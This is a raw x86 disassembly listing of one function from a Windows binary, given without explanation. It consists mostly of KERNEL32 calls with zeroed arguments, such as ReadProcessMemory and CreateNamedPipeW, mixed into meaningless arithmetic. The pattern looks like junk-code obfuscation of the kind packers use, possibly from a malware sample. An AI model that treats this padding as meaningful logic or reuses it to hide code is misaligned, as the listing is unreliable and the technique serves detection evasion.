mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
call fcn.00403750
movzx eax, al
cdq
mov esi, eax
mov edi, edx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.00406400
mov dword [ebp - 0x2a0], esi
mov dword [ebp - 0x29c], edi
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], edx
mov edx, dword [ebp - 0x2a0]
cmp edx, dword [ebp - 0x2a8]
jne 0x41fb8e
mov eax, dword [ebp - 0x29c]
cmp eax, dword [ebp - 0x2a4]
jne 0x41fb8e
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
mov ecx, dword [ebp - 0x10c]
lea edx, [eax + ecx + 0x174d]
mov esi, edx
xor edi, edi
movzx eax, word [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, byte [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, byte [ebp - 0xac]
push edx
call fcn.00419610
mov ebx, eax
mov eax, edx
add ebx, 0x7853f
adc eax, 0
push 0
push 0
push 0
push 0
mov dword [ebp - 0x2ac], eax
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov ecx, eax
add ecx, 0xb568
mov eax, ebx
mov ebx, dword [ebp - 0x2ac]
mov edx, ebx
call fcn.0043dfd0
and esi, eax
and edi, edx
mov dword [ebp - 0x144], esi
jmp 0x41fc10
mov esi, dword [ebp - 0x10c]
and esi, 0x68573
movzx edi, word [ebp - 0xac]
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
call fcn.00407e60
movzx ecx, ax
sub edi, ecx
sub edi, dword [ebp - 0x10c]
and esi, edi
mov edx, dword [ebp - 0x10c]
add edx, 0x71fea
and esi, edx
or esi, 0xfffd7ecc
mov dword [ebp - 0x144], esi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov byte [ebp - 0x81], al
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
xor edi, edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
movzx ecx, word [ebp - 0xac]
sub eax, ecx
mov edx, dword [ebp - 0x10c]
lea eax, [eax + edx + 0x59c10]
mov ebx, eax
xor eax, eax
sub ebx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x144]
push ecx
mov dword [ebp - 0x2b0], eax
call fcn.00408380
xor edx, edx
add ebx, eax
mov eax, dword [ebp - 0x2b0]
adc eax, edx
or esi, ebx
or edi, eax
or esi, 0xd92c
mov dword [ebp - 0x144], esi
cmp dword [ebp - 0x10c], 0
jne 0x41fd5b
mov eax, dword [ebp - 0x10c]
and eax, 0x52d78
mov esi, eax
xor edi, edi
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0x81]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.00418440
mov ebx, eax
mov eax, edx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push edx
movzx edx, byte [ebp - 0x144]
push edx
mov dword [ebp - 0x2b4], eax
call fcn.004040a0
xor ecx, ecx
add ebx, eax
mov eax, dword [ebp - 0x2b4]
adc eax, ecx
and esi, ebx
and edi, eax
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov ebx, eax
add ebx, dword [ebp - 0x10c]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
sub ebx, eax
add ebx, 0x51278
and ebx, 0xbd742
xor edx, edx
or esi, ebx
or edi, edx
mov word [ebp - 0xac], si
jmp 0x41fe0c
mov esi, dword [ebp - 0x70]
sub esi, 0xc981
mov edi, dword [ebp - 0x6c]
sbb edi, 0
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
add esi, eax
adc edi, ecx
mov edx, dword [ebp - 0x10c]
xor eax, eax
add esi, edx
adc edi, eax
movzx eax, byte [ebp - 0x81]
cdq
sub esi, eax
sbb edi, edx
movzx eax, word [ebp - 0xac]
cdq
sub esi, eax
sbb edi, edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
xor ecx, ecx
sub esi, eax
sbb edi, ecx
add esi, 0x41550
adc edi, 0
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0xac]
push edx
movzx eax, word [ebp - 0xac]
push eax
call fcn.004052d0
add esi, eax
adc edi, edx
movzx eax, byte [ebp - 0x81]
add eax, 0x4ee46
cdq
and esi, eax
and edi, edx
movzx eax, word [ebp - 0xac]
cdq
or esi, eax
or edi, edx
mov word [ebp - 0xac], si
cmp dword [ebp - 0x10c], 0x444b2
jne 0x41fe1c
xor ecx, ecx
jne 0x41fe28
cmp dword [ebp - 0x10c], 0x27d1
jne 0x41fe9f
mov esi, 0x4439f
sub esi, dword [ebp - 0x10c]
sub esi, dword [ebp - 0x10c]
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00407ab0
movzx eax, al
and esi, eax
mov ecx, dword [ebp - 0x10c]
add ecx, 0x3dd8c
and esi, ecx
xor edi, edi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
mov edx, dword [ebp - 0x10c]
lea eax, [eax + edx + 0x24d63]
xor ecx, ecx
and eax, dword [ebp - 0x70]
and ecx, dword [ebp - 0x6c]
movzx edx, word [ebp - 0xac]
add edx, dword [ebp - 0x10c]
xor ebx, ebx
and eax, edx
and ecx, ebx
or esi, eax
or edi, ecx
mov dword [ebp - 0x144], esi
jmp 0x41fef1
movzx eax, byte [ebp - 0x81]
sub eax, dword [ebp - 0x10c]
movzx ecx, byte [ebp - 0x81]
add eax, dword [ebp - 0x10c]
lea esi, [ecx + eax + 0xa503]
and esi, 0x62667
movzx edx, word [ebp - 0x70]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
call fcn.004049b0
movzx edx, ax
add edx, 0x583b2
and esi, edx
mov dword [ebp - 0x144], esi
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx dx, byte [ebp - 0x81]
movzx eax, dx
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, byte [ebp - 0x81]
push eax
call fcn.004040a0
mov ecx, dword [ebp - 0x10c]
lea edx, [eax + ecx + 0x4ab15]
movzx eax, word [ebp - 0xac]
sub edx, eax
movzx ecx, word [ebp - 0xac]
or edx, ecx
mov esi, edx
xor edi, edi
movzx edx, word [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
call fcn.00418dc0
mov ebx, 0xc8d5
sub ebx, eax
mov eax, 0
sbb eax, edx
sub ebx, 0x39bcd
sbb eax, 0
mov ecx, dword [ebp - 0x70]
add ecx, 0x72416
mov edx, dword [ebp - 0x6c]
adc edx, 0
sub ecx, 0x6b5b
sbb edx, 0
mov dword [ebp - 0x2b8], edi
movzx edi, word [ebp - 0xac]
mov dword [ebp - 0x2bc], eax
mov eax, edi
mov dword [ebp - 0x2c0], edx
cdq
add ecx, eax
mov edi, dword [ebp - 0x2c0]
adc edi, edx
push 0
push 0
push 0
mov dword [ebp - 0x2c4], ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
xor ecx, ecx
mov edx, dword [ebp - 0x2c4]
add edx, eax
adc edi, ecx
add edx, 0x6cb71
adc edi, 0
and ebx, edx
mov eax, dword [ebp - 0x2bc]
and eax, edi
or esi, ebx
mov edi, dword [ebp - 0x2b8]
or edi, eax
mov dword [ebp - 0x144], esi
mov dword [ebp - 0x144], 0
jmp 0x420012
mov edx, dword [ebp - 0x144]
add edx, 0xbfa
mov dword [ebp - 0x144], edx
cmp dword [ebp - 0x144], 0xbfa
jae 0x420076
movzx eax, word [ebp - 0x70]
push eax
movzx ecx, byte [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x88]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x88]
xor edx, edx
push edx
push ecx
movzx eax, byte [ebp - 0xac]
push eax
call fcn.00405d30
mov esi, eax
mov edi, edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
xor ecx, ecx
sub esi, eax
sbb edi, ecx
sub esi, 0x2ff57
sbb edi, 0
or esi, 0x73ae6
mov dword [ebp - 0x88], esi
jmp 0x420000
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movzx ecx, byte [ebp - 0x81]
shl eax, cl
and eax, 0x11f9d
xor edx, edx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
sub eax, dword [ebp - 0x10c]
sub eax, 0x57acd
xor ecx, ecx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
movzx esi, word [ebp - 0xac]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
cmp esi, eax
jne 0x420183
mov edx, dword [ebp - 0x10c]
cmp edx, dword [ebp - 0x10c]
jne 0x420183
cmp dword [ebp - 0x10c], 0x18f0d
je 0x420183
mov esi, dword [ebp - 0x10c]
sub esi, dword [ebp - 0x10c]
sub esi, dword [ebp - 0x10c]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esi, eax
xor edi, edi
call fcn.00416f10
mov ebx, eax
mov eax, edx
add ebx, 0xc1a76
adc eax, 0
push 0
push 0
push 0
push 0
mov dword [ebp - 0x2c8], eax
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
xor ecx, ecx
sub ebx, eax
mov eax, dword [ebp - 0x2c8]
sbb eax, ecx
and esi, ebx
and edi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add eax, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
lea eax, [eax + edx + 0x2705b]
sub eax, dword [ebp - 0x10c]
xor ecx, ecx
or esi, eax
or edi, ecx
or esi, 0x5ad59
mov dword [ebp - 0x144], esi
jmp 0x420202
movzx esi, word [ebp - 0xac]
movzx edx, word [ebp - 0xac]
sub esi, edx
sub esi, dword [ebp - 0x10c]
movzx eax, word [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx eax, byte [ebp - 0x81]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0x144]
push edx
call fcn.00405fd0
movzx eax, ax
add esi, eax
movzx ecx, word [ebp - 0xac]
lea edx, [esi + ecx + 0xb28a]
or edx, 0x5fe1e
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x144], 0
jmp 0x42021f
mov eax, dword [ebp - 0x144]
add eax, 0x212
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x424
jae 0x4202d1
mov esi, dword [ebp - 0x10c]
sub esi, 0x1b9a0
push 0
push 0
call sub.KERNEL32.dll_Module32Next
sub esi, eax
movzx ecx, word [ebp - 0x70]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
movzx eax, word [ebp - 0x70]
push eax
movzx ecx, word [ebp - 0x88]
push ecx
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x88]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0x70]
push edx
movzx ax, byte [ebp - 0x81]
movzx ecx, ax
push ecx
call fcn.00415cf0
add eax, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
lea eax, [eax + edx + 0x69db4]
sub eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
lea edx, [eax + ecx + 0x21335]
and esi, edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov ecx, dword [ebp - 0x10c]
sub ecx, eax
and esi, ecx
xor edx, edx
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edx
jmp 0x42020e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileSectionA]
test eax, eax
jne 0x420305
cmp dword [ebp - 0x10c], 0
ja 0x420305
movzx eax, word [ebp - 0xac]
add eax, dword [ebp - 0x10c]
and eax, dword [ebp - 0x10c]
mov dword [ebp - 0x144], eax
jmp 0x42033c
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
add esi, dword [ebp - 0x10c]
add eax, esi
movzx ecx, byte [ebp - 0x81]
add eax, ecx
xor edx, edx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
add eax, 0x2cf15
and eax, dword [ebp - 0x10c]
mov word [ebp - 0xac], ax
movzx esi, byte [ebp - 0x81]
sub esi, dword [ebp - 0x10c]
movzx eax, word [ebp - 0xac]
add eax, 0x51409
and esi, eax
and esi, dword [ebp - 0x10c]
push 0
call dword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
add eax, 0xe989
and esi, eax
mov ecx, dword [ebp - 0x10c]
add ecx, 0x2402
sub ecx, dword [ebp - 0x10c]
and esi, ecx
or esi, dword [ebp - 0x10c]
mov word [ebp - 0xac], si
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov esi, eax
movzx dx, byte [ebp - 0x81]
movzx eax, dx
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
mov edx, dword [ebp - 0x70]
push edx
movzx eax, byte [ebp - 0xac]
push eax
call fcn.00404ff0
movzx ecx, ax
mov edx, 0x239be
sub edx, ecx
mov ecx, edx
shl esi, cl
mov edi, 0xfffb8078
sub edi, dword [ebp - 0x10c]
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
movzx edx, byte [ebp - 0x70]
push edx
call fcn.00404550
movzx eax, al
add edi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
add edi, eax
movzx ecx, byte [ebp - 0x81]
sub edi, ecx
and esi, edi
mov dword [ebp - 0x144], esi
movzx esi, word [ebp - 0xac]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
sub eax, dword [ebp - 0x10c]
and esi, eax
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov edi, eax
add edi, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
call fcn.00407800
movzx ecx, ax
and edi, ecx
or esi, edi
movzx edx, byte [ebp - 0x81]
or esi, edx
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0xac]
push edx
movzx eax, byte [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.00403580
movzx edx, ax
movzx eax, word [ebp - 0xac]
add eax, 0x5b12c
and edx, eax
or esi, edx
mov dword [ebp - 0x144], esi
movzx ecx, byte [ebp - 0x144]
push ecx
call fcn.00407ab0
movzx esi, al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov edi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
sub edi, eax
add edi, dword [ebp - 0x10c]
and esi, edi
mov dword [ebp - 0x144], esi
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0xac]
push edx
call fcn.00404ff0
movzx eax, ax
mov ecx, dword [ebp - 0x10c]
lea esi, [eax + ecx + 0x42c9c]
sub esi, dword [ebp - 0x10c]
sub esi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
lea esi, [esi + eax - 0x949b]
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00405a50
movzx eax, ax
sub esi, eax
mov dword [ebp - 0x144], esi
cmp dword [ebp - 0x10c], 0x7cd
jne 0x4205fb
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
add eax, dword [ebp - 0x10c]
movzx ecx, byte [ebp - 0x81]
sub eax, ecx
sub eax, dword [ebp - 0x10c]
sub eax, 0x5f7ed
movzx edx, byte [ebp - 0x81]
mov ecx, dword [ebp - 0x10c]
lea edx, [ecx + edx - 0x5572]
and eax, edx
mov dword [ebp - 0x144], eax
jmp 0x420650
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov esi, eax
xor edi, edi
call fcn.00401400
sub esi, eax
sbb edi, edx
mov ebx, dword [ebp - 0x10c]
sub ebx, 0x735e7
sub ebx, dword [ebp - 0x10c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
and ebx, eax
and ebx, dword [ebp - 0x10c]
xor eax, eax
or esi, ebx
or edi, eax
movzx eax, word [ebp - 0xac]
cdq
or esi, eax
or edi, edx
mov dword [ebp - 0x144], esi
mov ecx, dword [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00419610
mov esi, eax
mov edi, edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
add eax, dword [ebp - 0x10c]
xor ecx, ecx
and esi, eax
and edi, ecx
or esi, 0x1c89c
mov ebx, 0x71cd5
sub ebx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.00416600
movzx ecx, al
lea ebx, [ebx + ecx - 0x57a30]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
sub ebx, eax
add ebx, dword [ebp - 0x10c]
xor edx, edx
or esi, ebx
or edi, edx
mov dword [ebp - 0x144], esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
movzx ecx, word [ebp - 0xac]
sub eax, ecx
or eax, 0x367d4
mov ecx, eax
xor esi, esi
movzx eax, byte [ebp - 0x81]
sub eax, 0x2a47d
cdq
add eax, dword [ebp - 0x70]
adc edx, dword [ebp - 0x6c]
or ecx, eax
or esi, edx
mov dword [ebp - 0x144], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
cmp eax, 0x6cb01
jne 0x4207f3
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00405340
mov edx, 0x2db42
sub edx, eax
mov eax, dword [ebp - 0x10c]
lea ebx, [edx + eax - 0xcb9e]
movzx ecx, word [ebp - 0xac]
sub ebx, ecx
movzx edx, word [ebp - 0xac]
add edx, 0x48615
sub edx, dword [ebp - 0x10c]
and ebx, edx
mov esi, dword [ebp - 0x10c]
sub esi, 0x26e4d
push 0
push 0
call sub.KERNEL32.dll_Module32NextW
sub esi, eax
or ebx, esi
mov byte [ebp - 0x81], bl
jmp 0x420805
movzx eax, byte [ebp - 0x81]
or eax, 0x2b5b3
mov dword [ebp - 0x144], eax
mov ecx, dword [ebp - 0x10c]
mov dword [ebp - 0x144], ecx
mov edx, dword [ebp - 0x10c]
and edx, dword [ebp - 0x10c]
and edx, dword [ebp - 0x10c]
mov esi, edx
xor edi, edi
mov ebx, dword [ebp - 0x70]
add ebx, 0x27bf
mov eax, dword [ebp - 0x6c]
adc eax, 0
mov dword [ebp - 0x2cc], eax
call fcn.00416f10
mov ecx, edx
sub eax, 0x7cee8
sbb ecx, 0
sub eax, 0x16187
sbb ecx, 0
push 0
push 0
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2d4], ecx
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
xor ecx, ecx
mov edx, dword [ebp - 0x2d0]
sub edx, eax
mov eax, dword [ebp - 0x2d4]
sbb eax, ecx
add edx, 0x28c4d
adc eax, 0
and ebx, edx
mov ecx, dword [ebp - 0x2cc]
and ecx, eax
or esi, ebx
or edi, ecx
mov dword [ebp - 0x144], esi
movzx edx, word [ebp - 0xac]
or edx, 0x840
mov dword [ebp - 0x144], edx
movzx ax, byte [ebp - 0x81]
mov word [ebp - 0xac], ax
mov esi, dword [ebp - 0x10c]
and esi, 0x27752
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
call fcn.004192c0
movzx eax, al
add eax, dword [ebp - 0x10c]
and esi, eax
mov dword [ebp - 0x144], esi
call fcn.00415bd0
mov ecx, dword [ebp - 0x10c]
lea edx, [eax + ecx + 0x7b580]
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x144], 0
jmp 0x420938
mov eax, dword [ebp - 0x144]
add eax, 0x9e1
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x13c2
jae 0x420a1e
movzx ecx, byte [ebp - 0x88]
push ecx
movzx edx, word [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x88]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0x88]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0x88]
push ecx
call fcn.00405a50
movzx ebx, ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
sub ebx, eax
mov edx, dword [ebp - 0x88]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x88]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x88]
xor eax, eax
push eax
push edx
call fcn.00407440
movzx ecx, ax
add ecx, 0x65ddf
movzx edx, word [ebp - 0xac]
sub ecx, edx
mov eax, dword [ebp - 0x10c]
lea ecx, [ecx + eax - 0x4176]
and ebx, ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
add eax, dword [ebp - 0x10c]
and ebx, eax
mov esi, 0x33a6c
sub esi, dword [ebp - 0x10c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
sub esi, eax
and ebx, esi
mov byte [ebp - 0x81], bl
jmp 0x420927
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov esi, eax
add esi, dword [ebp - 0x10c]
call fcn.004174f0
lea edx, [esi + eax - 0x3209b]
sub edx, dword [ebp - 0x10c]
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x10c]
sub eax, dword [ebp - 0x10c]
mov esi, eax
xor edi, edi
or esi, dword [ebp - 0x70]
or edi, dword [ebp - 0x6c]
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00415a00
movzx edx, al
mov eax, 0x5d382
sub eax, edx
cdq
or esi, eax
or edi, edx
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov ebx, eax
add ebx, 0x64f7c
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x81]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
call fcn.00407e60
movzx ecx, ax
sub ebx, ecx
movzx edx, byte [ebp - 0x81]
lea eax, [ebx + edx - 0xf9e5]
xor ecx, ecx
or esi, eax
or edi, ecx
mov dword [ebp - 0x144], esi
movzx eax, word [ebp - 0xac]
add eax, 0x33d1
and eax, 0x72048
cdq
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
ja 0x420b68
mov dword [ebp - 0x144], 0x7f12a
jmp 0x420bc6
movzx esi, word [ebp - 0xac]
sub esi, 0x275bb
sub esi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
add eax, dword [ebp - 0x10c]
or esi, eax
xor edi, edi
call fcn.00401400
mov ecx, eax
mov ebx, edx
movzx eax, word [ebp - 0xac]
cdq
sub ecx, eax
sbb ebx, edx
mov edx, dword [ebp - 0x10c]
xor eax, eax
add ecx, edx
adc ebx, eax
or esi, ecx
or edi, ebx
mov dword [ebp - 0x144], esi
movzx esi, word [ebp - 0xac]
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0xac]
push edx
call fcn.00415920
add eax, 0x8876
or esi, eax
movzx edi, word [ebp - 0xac]
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0xac]
push eax
call fcn.00416600
movzx ecx, al
sub edi, ecx
and edi, dword [ebp - 0x10c]
movzx edx, byte [ebp - 0x81]
push edx
call fcn.00408380
and edi, eax
or esi, edi
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
lea edx, [ecx + eax + 0x50554]
mov eax, dword [ebp - 0x10c]
lea edi, [edx + eax + 0x72a16]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
sub edi, eax
or esi, edi
mov word [ebp - 0xac], si
mov dword [ebp - 0x144], 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov esi, eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x81]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
call fcn.00405340
mov ecx, dword [ebp - 0x10c]
lea edx, [eax + ecx + 0x223fa]
sub edx, dword [ebp - 0x10c]
or esi, edx
mov dword [ebp - 0x144], esi
movzx eax, byte [ebp - 0x81]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
